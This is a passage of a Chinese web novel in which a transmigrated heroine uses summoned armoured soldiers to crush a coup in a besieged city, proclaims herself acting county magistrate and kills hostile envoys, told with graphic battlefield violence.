“小雁得了脏病,需要长时间与人隔离。草药外敷内服,卧床静养。照顾精心,或有机会康复。”
苏蓉担心殃及家人。小兰和谭敖还小,没什么免疫力,万一传染上便麻烦了。
又不能把这一家子三口赶出门,任他们自生自灭。只能说运气不好,摊到了。
想想苏蓉吩咐两口子。
“以后,碧玉不用去厨房干活,专心照顾你姑娘。该用药就用药,该吃好的补上。小雁还年轻,咱们尽量把人救回来!”
不外乎是花钱。
只要不影响到家人,她当善事做。
龚成夫妻俩感激涕零,双双跪下给苏蓉磕头。有主子这般照拂,哪怕小雁最后仍然保不住走了,能过几天这样幸福安宁的日子,也能安然瞑目。
夫妻俩懂事。从此碧玉专心在房间照顾女儿,不在人前露脸。一家三口用的东西,严格区分保管,时不时消毒,以防传染他人。
这些脏病主要是亲密接触造成的。
龚成作为管事,必须对主子负责。连母女俩房间也不进,另找小屋单独住下。一日三餐送到门口,只有大夫来复诊时,才跟着在门口站站。
能自觉到这份上,让苏蓉的担忧也打消了。
接下来一个月没动静。
苏蓉寻思叶兴贤那里,没什么变化。张如英捎口信说店铺缺肉,想着是不是可以出城一趟,和巴阳再去狩猎。
然而她还没有行动,当夜便出了事。
凌晨寅时一阵嘈杂声,苏蓉披衣而起,只听外面街道人声鼎沸。似乎许多人在奔跑、呐喊。县衙方向,一片红光,不知是不是起了火。
大家全部起来了。
龚成、窦云赶紧招呼人手,拿上棍棒菜刀当武器,守住前后门。闹得声势这么大,非常时期多半出了了不得的大事。
苏蓉早就安排甲兵护院,倒是不担心有人冲撞自家。如果张记炊香阁那边有变化,也能从甲兵身上感知。
她倒是比较担心叶兴贤,毕竟这位是叶清辞堂叔,不知要搞什么事出来?
搬来梯子,让龚成爬上围墙看动静。
龚成看了半晌,面色发白手脚发软下来:“主子,外面官兵在布防。凡是擅自走出家门的人,好像都被抓了。”
甚至有当街**的。他怕吓着主子,没敢说。
苏蓉踌躇,想派铜甲兵去县衙打探情况。负责守后门的小山,一溜烟跑来报告。
“主子!有两个人黑灯瞎火在外面敲我们的门,说是衙门那边过来的,要不要放他们进来?”
苏蓉悚然一惊,连忙带着人赶到后门。
两名粗使娘子急得团团转,见她如逢救星迎上来。投放的一名甲兵,石雕泥塑般矗立门边。
苏蓉给的命令是保护家宅不被外人入侵。门外来人只是敲门,没有使用暴力打算冲进来的话,甲兵是共情不到他人害怕紧张的。
站在门边顿了下,听不到外面任何动静,苏蓉怀疑敲门人走掉了,吩咐粗使娘子:“打开门看看?”
曲娘子和林娘子战战兢兢拿下顶门杠。刚把门拉开一条缝,一团黑影夹带腥风血气,滚了进来,吓大家一跳。
挑起灯笼细看,原来是名青衣衙役,浑身浴血,陷入昏死状态。
他怀里还抱个孩子。单薄衣裳外罩一件大毛披风,又冷又怕,缩成一团。跌在地上不小心磕疼额角,硬生生忍住没吭声。
苏蓉定睛辨认,这孩子不就是之前见过的叶家小公子、叶浩锐吗?
果然是衙门有变,叶县令将孩子送到她这边了?这倒是真瞧得起她!
不过对方估料得对。冲叶清辞面子,不管发生什么事,她也会出手相助。
她忙让两位粗使娘子关上门,同甲兵继续把守。随即招呼龚成等人抬上受伤的衙役,自己亲自抱起叶浩锐,回到大厅。
“这是叶县令的幼子。”
见冬梅等人惊疑不止,她简单做介绍,吩咐紫菊去厨房弄些温糖水,给叶浩锐喂一点。同时用手轻抚孩子背部、腹部,软语安抚。
过了会儿,叶浩锐回过神来。睁眼见一屋子陌生人,只有抱着自己的苏蓉认识,不
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由得鼻子一酸,“哇”地哭出来!
龚成手忙脚乱,带人给那衙役包扎。折腾到一半,那人却是清醒过来。咬着牙,从身上摸出个染血的小布包,撑住最后一口气送到苏蓉手中。
“苏娘子,大……大人……**!这……这官印是他临终前,让属下送来……请你转交叶公子。还有……”
他挣扎着看向叶浩锐,嘴角往外不断溢血。
“小……小公子……”
众人听得心惊肉跳。苏蓉按耐住惊慌,安慰对方激动的情绪:“我知道你想说什么……放心,我会保护好这孩子,把他送到叶家人手中!”
衙役努力点头。一阵完成使命的轻松感,愉悦全身。很快,他瞳孔放大,身体僵直不动了。
努力包扎半天,沾了满手血的龚成几人,沮丧地停止手里工作。
看着叶浩锐啪嗒啪嗒掉眼泪,苏蓉心里同样不好受。
这名衙役,拼尽全力把主子孩子护送过来,将信送达,也算义薄云天了。
不过没头没脑,衙门为何突然发生这么大的事?县令**,不是还有主簿、典史、县尉一干人吗?怎么就把孩子送她这来了!
她知道自己有能耐不死,叶兴贤不知道啊。就这么水灵灵送过来,不怕她因此遭池鱼之殃?除非……
除非叶兴贤的死,本就是那帮人所为。叶兴贤当时能相信指望的,只有她!
让人把衙役尸身包裹起来,停放在前院,等事后再安葬。苏蓉询问安静下来的叶浩锐。
“小公子,你爹到底出了什么事?”
她以为叶浩锐知道的不多,没想到叶浩锐哭过之后,说话条理清晰,头脑冷静。
“苏姐姐,趁他们没有完全掌控住安卫城,我们快逃吧。他们不会放过我,同样不会放过你。我爹说,你是我堂嫂,我们是一家的!”
一句话,令众人目瞪口呆看向苏蓉。
苏蓉……
她该翻脸呢还是吐槽……这个叶县令!
不过当务之急,应该先弄清究竟发生了什么事。这小屁孩啥都懂,应该知道怎么回事吧?
第143章 当官轮流做
果然,叶浩锐慢慢的,把死去衙役没能说完的话,补全了。
“我听我爹与人商议,要将安卫城挂上太子景渊的旗帜,请柏州方面派使者过来,接管城池。但曾主簿一干人死活不同意!”
“曾主簿说乌蛮人势大,如今打到宜阳县,很快会长驱直入,深入大靖內腹地。不如献城给乌蛮人,不止能保命,还能得分封。”
“我爹怒斥他们**,贪生怕死。他们恼羞成怒,夜里起兵作乱,杀进衙门。我爹殊死反抗,派人将我送到堂嫂你这里来。”
叶浩锐到底是个孩子。说着说着,又掉下眼泪,故作坚强地哽咽。
“堂嫂,你还不赶快叫家人收拾东西,趁天黑我们逃出城去?天亮后,他们要开始清算了!去柏州,请我堂哥来为我爹报仇!”
苏蓉拍下叶浩锐的头。
“乱喊什么堂嫂,叫我苏姐姐!逃什么逃?咱们现在赶去衙门,说不定还来得及戡平叛乱,为你爹复仇!”
叶浩锐闻言,不可置信地睁圆眼睛。
他称呼苏蓉为“堂嫂”,是因为他听大人说,很多人想当他“堂嫂”。堂嫂自然比“苏姐姐”亲近多了。
骤然落到这种地步,举目无亲,只剩尚算认识的苏蓉大腿可抱。故而就算年纪小,他也聪明地主动靠近苏蓉。
但方才听到什么话了?
这个苏姐姐说要回衙门,平叛,为他爹爹报仇?
除了冬梅、谭敖和小兰,其他人一脸不可思议地看着苏蓉,以为主子吓糊涂了。
苏蓉摸摸一直乖巧,不言不语依偎在自己腿边的小兰,瞧向冬梅和谭敖。
“二妹,你在家带好小弟小妹,我去衙门一趟。还有张婶子那边,也得看看情况。”
虽说派有甲兵驻守,不亲眼见证平安,还是有点不放心。
冬梅三人知道自己帮不上任何忙,不添乱就是最好的支持,听话答应。
“大姐,你自己要当心。”
苏蓉又叮嘱龚成等人一番,留下四名铜甲兵守护宅子,牵着懵懂的叶浩锐,直奔衙门。
倘若叶浩锐再大点,或者有外人在,多半认为她想送叶浩锐**,以求荣华富贵。不过现在没人拦阻她行动。
昏暗街道上,没走两步,他们一行就被布防的官兵发现了。
对方恶狠狠拦上来:“回去,没听见锣响示警吗?**了——”
官兵首领手中的刀,冷森森泛着寒光。刀尖染红,只待一言不合砍将过来。非常时刻,他们脑子里蹦紧一根弦。
苏蓉开口,问出一句话:“你们,忠于叶县令还是主簿一干反叛之徒?”
官兵们闻言,先是呆了下。紧接着,哄堂大笑。一边笑,一边手指苏蓉。
“哪来的疯女人,问这种莫名其妙的话?上头纷争,连我们底下人也管不着,你算个什么东西,敢来多问?”
有人认出藏在苏蓉身后的叶浩锐,喜出望外。
“啊!这不是衙门到处在找的叶小公子吗?曾主簿说过,谁抓住这小鬼,或者提他人头交差,赏银一百两!”
顿时,官兵们如狼似虎的凶恶眼神,盯上叶浩锐。叶浩锐吓得浑身打颤,抓紧苏蓉袖子。
饶是他年纪小,也不由得想到:这个父亲说可以绝对信任的苏姐姐、“堂嫂”……莫不是要推他出来送死?
苏蓉皱眉瞧准备扑过来的一群官兵。
本来不欲造过多杀孽,尤其当着孩子的面。但是……杀戮,好像真的是解决问题最简单粗暴的方法。
她歪歪头,招呼跟随在后的十四名甲兵,发出指令。
“随我杀入县衙,敢于拦路者……死!”
十四名铜甲兵,自夜色中显露庞壮身形,整齐划一躬身施礼,轰然答应。
“遵吾主号令!”
起身,挥出势如千钧的长戈、大刀,霎时间飞沙走石,日月黯淡无光。
扑过来的官兵们还没来得及弄明白情况,眼前一黑,整个人已被甲兵挑飞半空。人尚未着地,被斩为数段!
鲜血四溅,残肢乱飞。冷清街头,立时成可怖修罗场。
苏蓉及时抱住叶浩锐,让这孩子只听见不绝于耳的惊心惨叫,没能看清屠宰画面。
甲兵很快清出一条血路。苏蓉抱着叶浩锐,被护卫着径直走向
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衙门。
沿途不时杀出官兵,看装束都是驻军所的军士。不知不觉,曾主簿一伙人控制了大半个安卫城。怪不得叶兴贤想起事献城给太子,反遭刺杀。
苏蓉不禁埋怨这个糊涂县令。
当真是书生意气!
没手段没武力,急于暴露自己内心真实想法,将把柄送到政敌手上。这下好了,自己**,孩子遭难,连累她卷入其中。
她好不容易再次在安卫城安家,这次无论是谁,不能任其在安卫城兴风作浪!
当不好这个县令,不能为老百姓做主,无法庇护大家,就给她滚下这个位置!
她来!
当官轮流做,今年到我家!
总之,她绝不愿意再次流浪,居无定所。大靖就这么大块地盘,这里已是內腹城镇,她还能去哪里?先守护好当下家园再说。
曾主簿一干人志得意满,在驻军所的人簇拥下参观整个县衙。顺带把不顺从自己的衙役、甚至前任县令的侍从,通通揪出来杀掉。
有军方支持,上面又正乱着自顾不暇,他可以凭实力接手安卫城,跨过不入流品阶到七品这个天堑,接任县令。
手握一座富裕城镇,与各方势力有周旋的本钱,还怕不能凭此平步青云?
只是他得好生掂量,如此乱世,该当投靠谁?
踩着满地尸首,捻着一撮老鼠胡须,自为大势已定的曾主簿,发出阵阵开怀笑声。
安卫城的钱、粮、女人……统统是他的!
平日就臭味相投的县尉等人,围绕他身边各种奉承,差点让曾主簿找不到北。
就是这个时候,众人听到衙门外,传来阵阵凄厉的呼喊惨叫。
而那声音,越来越近,很快逼近到县署內宅。
他们面面相觑。
发生了什么事?
被扫了兴头的曾主簿,心想莫不是驻军所这帮兵痞,放飞了在**抢女人,顿时一阵不快。
县尉机灵,看出上司心思,忙道:“大人,我出去看看情况!”
然而曾主簿没来得及颔首,县尉没来得及抬脚,一团黑影,呼啸着飞进县署內宅的大门!
第144章 杀无赦
众人慌忙后退,那东西“啪嗒”一声摔在地面,立马血水喷溅。
擦擦不小心被溅上脸的几滴,看清那团物体,曾主簿等人愀然色变。
原来是一颗血肉模糊的人头!
红的白的黑的,污了一地。这得多大力气,才能把人体最坚硬的部分,如同瓜果一般捏爆。
本以为随之踏入县署內宅的,是来自地狱的死神。结果进门的,是一位年轻女子,手牵他们熟悉的叶小公子。
女人孩子……
这落差感,让曾主簿等人一时恍惚。直到女子身后,十来名威风凛凛的铜甲兵现身。
“你们是谁?胆敢擅闯衙门!”
作为武人的驻军所督尉,第一时间敏锐感受到危机。
普通平民不敢私自贮藏甲胄。而那十四名武士身上披挂的,是比他们驻军所军士还要上档次的铜甲。
无论外形美观还是防御力,都比他们粗制滥造的皮甲布甲强上一大截。
而且这些甲士手持重兵,肉眼可见沉重。能随意挥舞它们的主人,显然具备天生神力。无怪乎能将敌人首级破坏成那样子。
一时间,督尉心中发凉。
早知道叶县令有如此雄厚势力,给他几个胆子,也不敢附庸曾主簿等人造反啊?
“苏姐姐,中间那个就是曾主簿!”
叶浩锐眼中喷射熊熊怒火,手指曾主簿等人:“就是他们,伙同谋害我爹!”
苏蓉二话不说,直接对铜甲兵下令。
“杀!”
对于这些尸位素餐,国家被外族侵略,生死存亡关头不思如何救国,反而成天想着争权夺利,祸害老百姓的贪官污吏,她恨入骨髓。
曾主簿无能狂怒:“你以为你是谁……”
一言未了,他的人头已在半空狂舞,颈腔的血井喷。
那个“啊”字,却是这辈子再没机会吐出来。
旁边的督尉、县尉、典史惊恐万状瞪大眼睛,来不及逃跑,下瞬寒光飞舞,集体步了曾主簿后尘。
一大群懵逼的军士,不聪明地转身就想跑,结果是被铜甲兵赶上,杀鸡宰羊般捏爆头颅。聪明点的,立即丢下武器,跪地乒乓磕头。
“叶小公子饶命!我们都是被逼来的啊……”
当官的说啥,他们作为当兵的敢不听吗?
可惜他们有眼无珠,求错人。
叶浩锐看向苏蓉神色的功夫,铜甲兵手快,又收割走一波人头。
把跪在地上苦苦求饶的人,吓得心胆俱裂。不知该爬起来逃跑,还是继续讨饶。
苏蓉想了想,重新召唤一批豆兵:“降者不杀!”
半个时辰后,铜甲兵所到之处,衙门除了苏蓉及叶浩锐,没有一个活人敢站着。全部丢盔弃甲匍匐于地,瑟瑟发抖等待死神宣判。
苏蓉随手点出一个貌似小头目的人,问他:“现在把守四门的人,是不是也背叛了叶县令?”
那小头目战栗着回答:“是……”
苏蓉眼睛微眯。
“那你想不想将功折罪?”
那小头目一听,顿感从地狱回到人间,连忙顿首:“小人愿意听从姑娘指派?”
“你叫什么?”
“回姑娘的话,小人名叫秦津。”
当着众人面,苏蓉拿出那枚沾上血迹的四方官印,高举过头顶,朗声道。
“本人苏蓉,承蒙叶大人临终托孤,并将这官印授于我。我宣布,暂代县令一职,接管安卫城,保卫一城百姓!”
“倘有不服者,杀无赦,家眷驱逐出城!”
从此刻开始,她要翻身做主人,掌控自己一直随波逐流的命运。
有这样的实力还低调受人欺,天不容她!
秦津第一个回神,机灵地大声附和:“我秦津,驻军所屯长!如今廖督尉已授首伏法,某愿代表驻城官兵,拥护苏大人!”
角落里爬出十多名衙役。他们是叶兴贤手下,因为不从曾主簿,被杀得躲了起来。
如今叛乱平定,小公子安然无恙,苏蓉又为大人报仇雪恨,他们自然而然愿意支持苏蓉。
为首的衙役率众下跪,双手抱拳。
“在下总捕头柯澜,率手下弟兄见过苏大人,愿意支持苏大人!”
虽然苏蓉是女人,但乱世中实力为王道。只要能保护他们,保护安卫城,就算对方不是人,他们也甘愿报效。
苏蓉手捧官印,露出一个微笑。
“好!”
刚欲下令,门外一大群人涌将进来。
众人吃了一惊,暗想是谁这么不怕死?县署內宅有苏蓉一行这么可怕的杀神在,竟然还敢闯进来?
却见那群人中的为首者走向苏蓉,满脸高兴:“苏娘子,原来您也在这里?我们也是听说衙门出事,赶来想帮叶大人一把的。”
原来是陈明喜陈明欢两兄弟,身后是他们的家丁。
陈家作为安卫城大户,向来与叶兴贤交好。自然不希望安卫城轻易易主,损害他们的利益。
只是这来得,忒晚了些。想必一开始顾忌曾主簿窜通驻城官兵,过于势大,不敢轻举妄动。
苏蓉倒不在意。
陈家谋定而后动,不敢贸然出面是正常的。谁会轻易把一家老小的命,押宝在一艘即将沉没的船上。
看见她出马,能紧随其后,已算是对她能力的认可和信任。而且比起陌生的柯澜、秦津等人,她更信任一路同行过的陈家兄弟。
于是,她笑了笑。
“两位陈公子,你们来得正好。衙门人死伤大半,保卫城池,安定民心,还需要你们出面出力。”
陈明喜慨然回应:“苏娘子,不、苏大人!你尽管吩咐我们?保卫自己家园,人人有责!”
他们陈家,自然不会这么鲁莽冲动。家族资源有限,乱世中,他们擦亮眼睛寻找可以投资并获取庇护的对象。
之前的叶大人有些刚愎自用,能力又有限。
而一路见识到苏蓉的强大实力,早已心存投靠之意。奈何苏蓉完全没有野心,遗憾苏蓉是女流之辈的时候,没想到今夜苏蓉突然发威。
那还等什么?
他们在家族中长辈的默许下,立即倾巢出动,带领培养多年的人手赶过来。
他们会成为苏蓉往上爬的奠基石。
而苏蓉,想必也不会让他们失望!
双方对视一眼,心照不宣。
苏蓉捧高官印,清清喉咙道:“陈明喜、陈明欢、秦津、柯澜,我命你们四人,分别带领两名甲兵,去收复四道城门!叛乱者,杀无赦!”
第145章 自封县令
“是!”
四人齐齐躬身,接了指令。
这代表,他们接受了苏蓉在安卫城的领导地位。而他们下面的人,自然更无异议。
苏蓉当然也可以直接派甲兵去四门平叛。但现在天色已亮,众目睽睽之下甲兵若化为狂风卷去四门大开杀戒,过于惊世骇俗。
她要掌控这么大的城池,还是离不开陈明喜等地头蛇的帮助。
善于以人治人,才是好领导。
叶浩锐在旁边,有点目瞪口呆。
他爹……临终好像是让苏姐姐把官印转交给堂哥吧?怎么苏姐姐自己宣布,代替他爹的位置,坐镇安卫城?
转念一想,苏姐姐为他报了大仇,又是他“堂嫂”,当个县令怎么了。
都是自家人,支持!
于是,他一声不吭,跟着苏蓉在县衙四处转。
找到叶兴贤的尸首,苏蓉让人去自家取回之前报信衙役的尸首,寻了两具好棺停灵堂前,让叶浩锐披麻戴孝守灵。
只等七日后运往城外墓园安葬。另外派了衙役,给叶家老家报信。
至于朝廷方面,现在哪来的朝廷,都是各自称王。苏蓉打算护住这安卫城,等到叶清辞来,再考虑交出去。
除了叶清辞这位为民做主的清官,她谁也不信。敢拦着她居家过太平日子的,全是敌人!
有勇猛无敌的甲兵帮忙,陈明喜四人很快提了反叛者的人头来回报。苏蓉问明陈家兄弟的意见,当即安排陈明喜去驻军所走马上任。
陈明喜直接做了督尉,掌管驻军所。陈明欢自愿留在家中,暗中帮助大哥入仕。
秦津升任军侯,负责侦察、通讯等任务。
柯澜升任县尉,维护治安。
四人都满意。
好好辅助苏大人,即便对方是个女人,乱世中未必不能建功立业一番。
苏蓉手下甲兵他们见识过厉害,与一支训练有素的军队相比,毫不逊色。
有实力者,堪称王!
苏蓉想到小小年纪,聪慧过人的谭敖,将人接到身边,为她舞文弄墨。
谭敖向吏房几个老胥吏请教,写出一张告示安民。并且建议苏蓉,乱世用重典,打击趁火打劫的不法分子,减免税赋,安抚民生。
县学官员没有参与这场叛乱,便继续任用。鼓励选拔有才能的学生,进入县衙六房任职。待时机成熟,挑选能继任主簿等官吏的人。
对于老百姓而言,他们不注重谁当权。能让他们吃饱饭穿暖衣的官,便是好官。
大靖老百姓特能忍。
没到活不下去的地步,绝对不闹事。
所以,尽管一夜喊杀,吓得家家户户关门闭户,蜷缩屋里祈祷。安民告示一出,他们立即相互转告,出来撒欢活动。
生命继续,牛马不歇。
减免税赋的好消息,迅速传播整个安卫城,并且向周边小村庄递进。
不止老百姓奔走相庆,陈家这样的商户,同样感到欣喜。
一直在征战,官府摊牌给大家的赋税,实在太重了。连他们这种殷实人家,苦不堪言也难以支撑下去。
苏蓉自己没有私欲,更不会考虑对朝廷方面献贡,自然大刀阔斧,砍掉原本许多项不合理的苛捐杂税。
安卫城百姓拨云见日,一时间对于新“上任”的女县令,高举双手双脚拥护。
死掉众多衙役军士,也要补充。
苏蓉打开官仓,将叶兴贤没敢动用的官银官粮拿出来,救济难民,募集手下。
短短半月,安卫城在武力、钱粮的攻势下,迅速渡过政权交迭的混乱期,迎来欣欣向荣的新气象。
若说陈明喜一干人之前还有摇摆不定、走一步看一步的想法,现在安卫城局势明朗,让他们铁心追随苏蓉。
苏蓉是女人,或许没有什么高超的政治手腕。但她用人不疑,疑人不用!
听得进好建言,不拘一格使用人才。而且一心为民,没有私心。
最关键的是,她有一队神出鬼没、战无不胜的私兵。反对她的人,都化整为零去地府报道了。
她其实在安卫城揭竿起义黄袍加身,没人拦着。
大多数老百姓,巴心不得新政权永久持续下去。领导他们的是男是女,又有什么关系?
苏蓉的金手指,升级到能同时召唤出三十名甲兵,几率生成三名白甲神兵。这是支撑她乱世立起来的底牌。
想想刚穿越到这时空的彷徨,受尽无数苦难,她默默哂笑。
以前的自己,真是一叶障目。
手握如此神通广大的金手指,竟然小心翼翼在夹缝中求生存。早知甲兵如此犀利,她何苦委曲求全居于人下?
不过,她不悔。
若过早暴露金手指,或许她早就站在叶清辞的对立面。甚至杀了他、或则被他杀,未可知。
顺其自然,承天命。
低头看向堆积一桌子的卷宗。
唉,她还是不适合当县令这种基层小官。什么张家偷了李家牛,王家小子骗婚马家寡妇,钱麻子跟赵三喝酒打架店里闹事……
烦人!
一句话,就是这些家伙不饿了。不饿就闹出鸡毛蒜皮小事特多。
她得赶紧考核提拔起一批得力属下,帮她分担。识文断字的女性不少,等安卫城再太平点,可以考虑单独设一届女科,招募女官。
某些女性,有着完全不逊于男性甚至更出色的能力。
苏蓉心不在焉批示卷宗,心思恍惚飞到了遥远的将来。事实上,她对于自己将来还没有确定。
她现在的雄心壮志,远没有膨胀到陈明喜等人希望的地步。
“苏大人,安卫城外有使者求见!”
一道军士恭敬禀报的声音,惊醒苏蓉,也击碎安卫城多日来的平静。
苏蓉抬起头,笔未放下,眼含些许犹豫的迷茫。
“使者?哪一方的使者?”
安卫城发生如此巨变,没有封锁消息,相信各方牛鬼蛇神,很快会知道是她这个异军突起的女人,夺了安卫城的控制权,自封县令。
她一直在等着,看诸势力的反应。却不知率先登门问责的,是哪路人马?
“回大人,是云州刘知府派过来的人!”
安卫城属于云州下属城,离得近,使者第一个抵达,倒不意外。
“大人,是否迎接他们进城?”
军士拿不准苏蓉态度,试探询问。
倒不是他们不想欢迎使者,而是苏蓉往四道城门派驻了两名铜甲兵。谁敢闹事,甲兵能眼不眨地大开杀戒!
而且使者带了一队兵马,任谁看着,也来势汹汹。
第146章 诛杀使者
“请,当然请入城!”
苏蓉挑眉,似笑非笑。
“把他们全部带到县衙来,我想听听他们的来意。注意,一个别少,包括他们手底下的士兵!”
军士心里默默为云州使者一行点根蜡,起身告退。
苏蓉换上一身华丽锦服,听荷听雨过来帮她绾发,戴上一套??髻头面,金镶宝花钿。从头到脚,都是新置办的,登堂办公时用。
不能让手下人小觑自己。
她家里一大堆珍贵药草,虎鞭熊掌,终于能大大方方售卖。安卫城吃不下全部,便托付给陈家商队销往其他城镇。
如今她千万贯家财,为自己和家人鸟枪换大炮,轻而易举。
除此之外,城中各大官员富商,纷纷送来“新县令”到任贺礼。金银珠宝、奴婢仆从。
陈明喜劝她针对性收一些,以安大家的心。
苏蓉的小豪宅,如今人满为患。不得已,调了部分住在县衙。所谓权势,天下人趋之如鹜,她现在有了更直观的感受。
不要说她,就是家人,出行也是前呼后拥。衣来伸手,饭来张口。怪不得从古至今,那么多人削尖脑袋往上爬。
苏蓉写了一个大大的“磐”字,贴在自己卧室墙上,警示自己初心如磐。勿要被荣华富贵迷眼,莫忘初心。
收拾停当,苏蓉带领召唤出的四名甲兵,其中包含一名几率刷出的白甲神兵,缓步走出县署內宅。
还没有走到衙门口,只听哐哐金铁交鸣,一队官兵全身披挂,兵器碰击甲胄,战靴碾踏青石板地长驱直入。
为首者乃是一名蓝衣文官;另外一名是身披黑披风,手按剑柄的武将。
两人神情严肃倨傲,见到她目光一闪,不约而同露出敌视防备的眼神。看来猜到她的身份。
身后柯澜带领一群衙役追来,发现双方已形成对峙之势,互相打量。诚惶诚恐单膝着地,向苏蓉请罪。
“大人,属下失职,拦不住他们!当值差役多问两句,被斥责为逆贼,当场处死……”
谁也没想到把云州使者一队人马放进城后,这些人纵马市集,直闯衙门。
他得报带着人手赶到事发地,已有一名同僚遇害。
柯澜又惊又怕,兼有愤怒,只得一直跟随到苏蓉面前,盼苏蓉能够做主。
毕竟苏蓉私兵的威力,有目共睹。
云州这些自大残忍的浑蛋,根本不知自己招惹的是什么存在!
苏蓉一听自家衙役被杀,顿时柳眉倒竖,火气腾腾。原本还想和对方好好唠唠,怎么安排这安卫城军民,不然也不会请进城。
结果尚未照面,对方先给她下马威!
这是仗着带来一队官兵,想处置她这个“犯上作乱”,敢自封县令的人?
她眼睛危险地眯起来。
看出大人心情严重不美好的柯澜,立即起身,率领衙役们站到苏蓉身后。
就怕待会大人手下甲兵,手脚没个轻重,把他们一并送上天。观云州使者尚不知死活,上前两步,戟指苏蓉,舌绽春雷大喝一声。
“大胆苏氏!你知罪否?一个妇人,敢趁安卫城空虚,蓄私兵夺权!还自封县令?目无王法,僭越礼制,妄图以妇人之身乱纲常!”
“此等大逆不道之举,按律当诛满门!趁早跪地请罪,否则刀俎加身,后悔晚矣——”
呛啷!
一大队官兵刀剑出鞘,威势迫人。
苏蓉火冒三丈。
以为云州至少夸她句女中豪杰,帮忙稳定安卫城局势,抚慰民心。结果对方照面定她个谋逆罪,要诛她满门!
什么玩意儿?
怪不得这三皇子无法赢得人心,守不住大靖江山,导致现在诸侯割据,军阀混战!
她懒得与不讲理的对方多说,直接看向身旁白甲神兵。
“杀掉为首两名使者,余者不降,诛!”
当兵的也不容易。
她给这些官兵一条生路。对方若仍然执着与她为敌,别怪甲兵刀不容情。
“你还敢……”
那文官瞪着眼睛,颈子里冒出一溜血花。
一道光,亮起来瞬间便抵达他的咽喉。
文官双目暴突,嘴张得老大。白甲神兵鬼魅地出现在他面前,大刀一挥,他的头飞上半空。
转手又一刀,旁边武将明明已浑身戒备,仍然没来得及做出任何反应。脑袋与身子各自出走,轰然倒毙当场!
剩下的云州官兵集体惊呆了!
这是什么样的人?什么诡异的速度和霸道力量?
他们连反应也不及做出,白甲神兵化作狂风冲过来,凶猛如呼啸的死神,又收割走一波人头。
柯澜等衙役眼皮跳了跳,随即欢欣鼓舞。
该!
叫你们猖狂,肆意杀我们弟兄!这下傻眼了吧,知道踢到大石头。所谓天狂有雨,人狂有祸,报应不爽!
短短一刻,云州使者带来的百名精兵,被白甲神兵杀掉过半。剩余十来个人,方才如梦初醒。
想到苏蓉之前的话,立即“扑通”跪在地上,咚咚磕头,纷纷高喊。
“我们愿降,求苏大人饶命!”
来时有多不可一世,现在就有多打脸。
但凡跪慢些,喊慢些,白甲神兵大刀,马上砍到他们头上了。
苏蓉召回白甲神兵,冷眼看着这些云州官兵,心里同样惊喜白甲神兵的威力。
这武力值,简直无敌。
她还寄望于这些庸官俗吏治天下做什么?她完全可以自己来,何苦受人气受人欺。
心态不知不觉发生翻天覆地变化,没有表露出来。对那些求饶的官兵道:“我放过你们这一次。带上你们主子尸首,给我滚回云州去!”
“再敢来骚扰,我率兵攻打云州主城水沛,让刘知府那狗官,人头着地!”
说罢吩咐柯澜:“将他们行李马匹全部留下来,衣甲武器也剥下来,收入官仓。”
虽说这些云州官兵不中用,但他们身上所穿盔甲,所带武器,比安卫城军士装备好上一个档次,那自然要收归己有。
苏蓉下意识考虑长远,为自己势力发展花心思。
“是!”
柯澜一干人兴高采烈,立即动手,收刮物资。
云州使者一行,最后只剩十来个人,被剥得只剩一件裤衩,怀抱使臣两颗血糊糊的头颅,抱头鼠窜被赶出安卫城。
两条腿走路,仓皇四顾。
第147章 那饼又圆又大想吃
苏蓉在县署內宅盘点对方带来的东西。除了金银细软五千余两,还有一封任命书。
原来云州方面早就做出决定,杀掉她这自封县令后,任命那文官接任县令,执掌安卫城。
苏蓉内心戚戚。
她倒是盼望安卫城能迎来一位清官。但打从一开始她站出来,已经没有退路了。
在所有大靖官员眼中,她是乱臣贼子。却不知叶清辞会不会也这般想?
她拿出二十两银子,赠给死去衙役的家眷,厚葬死者。不管怎么样,这条路既然自己选择了,跪着也要走完!
她给安卫城守军提高待遇,增加俸禄,让陈明喜等人日夜操练。
虽然他们能派上的用场很小,但安卫城那么大,不能由她的甲兵全盘接手。光明的地方总有荫蔽之处,才能让军民一心,无分贵贱团结合作。
不然以陈家为首的城中大户,何必要倾家族之力跟随她。甲兵发威诛杀使者,越发稳固她在安卫城的领导地位。
听说云州使者的事后,陈明喜第一时间带着陈明欢、秦津一些军中任职的官员,来到衙门找苏蓉。
“苏大人,您杀了云州使者,刘知府一定不会善罢甘休。周边庐城、斐县都归属于云州,我们要加强防卫,提防他们派兵进犯。”
苏蓉淡定自若:“兵来将挡,水来土掩。他们敢来,我就让他们全军覆没!”
说罢,让人拿出地形图,和众人商量布防。
冬梅此刻在屋里坐如针毡。
她根本没想到跟随苏蓉,会走到如今地步。
倒是锦衣玉食不用做粗活,享福受人尊重了。可她感觉,大姐越来越走向危险的歧路。
先是夺城,现在杀官府派来的使者,下一步要做什么?
难不成造反,与几个皇子争天下?看着同桌小兰清澈懵懂的眼睛,专心致志听女师讲课,她脑袋混乱,完全心不在焉。
好不容易等苏蓉回家,抱起飞扑过去的小兰,她欲言又止,看着对方。
苏蓉最近很忙,白天呆在衙门,晚上有时要去巡城,大多数时候,不得不留在县署內宅过夜。
几天没见家人怪想,却见冬梅神情不安,便拉着她的手一起进入卧室。
“二妹,你在家照顾小弟小妹,辛苦了。”
不断学习,冬梅如今差不多能独当一面,理事管家,给她把大后方照顾得很好。苏蓉其实是个懒散性格,不愿意事必躬亲。
冬梅刚好弥补她的不足。
冬梅担忧无比地握住苏蓉的手:“大姐,你奔波在外,又瘦了。那些事……咱们能不管吗?我真担心有一天……”
苏蓉笑着接过小兰亲手倒来的茶,摸摸小兰的头,揽住孩子乖巧靠在怀里的身体,笑意浅浅。
“二妹,你别担心。我现在努力,是想创造出一个更适合我们的生存环境。有些事,退让只会让我们危如累卵。”
她知道冬梅在害怕什么。
毕竟在这个时代,像她这样当出头鸟的女子,所言所行,闻所未闻。
“我有这个能力,为什么不尽力一试呢?说不定,我能改善大靖百姓处境,顺带提升咱们女人的地位。”
“让小兰她们这一代,有书读,有官做,不再听任父母之命媒妁之言,盲婚哑嫁遭遇不幸婚姻。”
她看向侍立在门外的紫菊等人。
还有禁止买卖人口,解放这些不幸为奴为仆的人。
只是现在说来纸上谈兵,且惊世骇俗。她要一步步来,掌握一定话语权,才能慢慢改变整个男权社会。
现在不就是成功第一步?
她有强大的金手指,陈明喜等人,甘心为她效忠。
冬梅被她描绘的未来,说动了心,喃喃。
“真会有那么一天吗?”
“你好好学习,二妹。”
苏蓉拉起她的手,紧紧一握,笑道:“你看,你现在的能力,不是已能好好管家了吗?等待时机成熟,你还可以帮大姐处理公务、审案!”
